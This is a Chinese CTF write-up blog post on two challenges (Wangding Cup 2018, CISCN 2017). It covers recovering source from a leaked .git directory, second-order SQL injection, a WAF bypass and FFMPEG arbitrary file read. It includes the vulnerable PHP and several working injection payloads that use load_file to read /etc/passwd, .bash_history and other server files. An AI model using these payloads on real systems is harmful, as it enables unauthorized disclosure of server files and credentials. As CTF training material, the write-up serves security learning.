2021-08-09 CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(SQL二次注入)

一:网鼎杯2018线上赛

首先:使用BurpSuite自带的Intruder模块爆破密码后3字节

在这里插入图片描述
在这里插入图片描述

漏洞一:通过git目录泄露还原出应用源代码

python GitHacker.py http://ffd1ae28-f0e2-41c3-9522-ce58080f91e6.node3.buuoj.cn/.git/#链接为有git泄露的链接

查看日志

git log --relog

还原文件

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

漏洞二:二次注入提取文件

',content=(select(load_file("/etc/passwd"))),/*
',content=(select(load_file("/home/www/.bash_history"))),/*
',content=(select(load_file("/tmp/html/.DS_Store"))),/*
',content=(select(load_file("/tmp/html/.DS_Store"))),/*
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

二:CISCN 2017

漏洞一:使用内联注释绕过SQL注入WAF

在这里插入图片描述

漏洞二:FFMPEG任意文件读取

1.利用注入得到的用户名和密码登录管理员账号,发现在管理员页面存在一个视频格式转化的功能,猜测题目的考查内容是FFMPEG的任意文件读取漏洞
2.利用已知的exploit脚本生成恶意AVI文件并上传,下载转化后的视频,播放视频可发现能成功读取到文件内容(/etc/passwd)
3.根据/etc/passwd的文件内容,发现存在名为s0m3b0dy的用户,猜测flag在其用户目录下,即/home/s0m3b0dy/flag(.txt);继续通过FFMPEG文件读取漏洞读取flag,发现成功获得flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

愚公搬代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值